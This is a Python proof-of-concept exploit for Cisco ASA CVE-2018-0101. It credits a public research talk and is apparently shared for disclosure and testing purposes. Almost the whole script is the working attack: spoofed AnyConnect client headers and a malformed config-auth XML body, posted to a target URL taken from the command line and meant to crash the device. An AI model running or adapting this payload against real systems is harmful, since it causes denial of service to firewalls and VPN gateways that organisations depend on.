Cisco ASA Crash Proof Of Concept

`#  
# Cisco ASA CVE-2018-0101 Crash PoC  
#  
# We basically just read:  
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf  
#  
# @zerosum0x0, @jennamagius, @aleph___naught  
#  
  
import requests, sys  
  
headers = {}  
headers['User-Agent'] = 'Open AnyConnect VPN Agent  
v7.08-265-gae481214-dirty'  
headers['Content-Type'] = 'application/x-www-form-urlencoded'  
headers['X-Aggregate-Auth'] = '1'  
headers['X-Transcend-Version'] = '1'  
headers['Accept-Encoding'] = 'identity'  
headers['Accept'] = '*/*'  
headers['X-AnyConnect-Platform'] = 'linux-64'  
headers['X-Support-HTTP-Auth'] = 'false'  
headers['X-Pad'] = '0000000000000000000000000000000000000000'  
  
xml = """<?xml version="1.0" encoding="UTF-8"?>  
<config-auth client="a" type="a" aggregate-auth-version="a">  
<host-scan-reply>A</host-scan-reply>  
</config-auth>  
"""  
  
r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False,  
allow_redirects=False)  
  
print(r.status_code)  
print(r.headers)  
print(r.text)  
  
`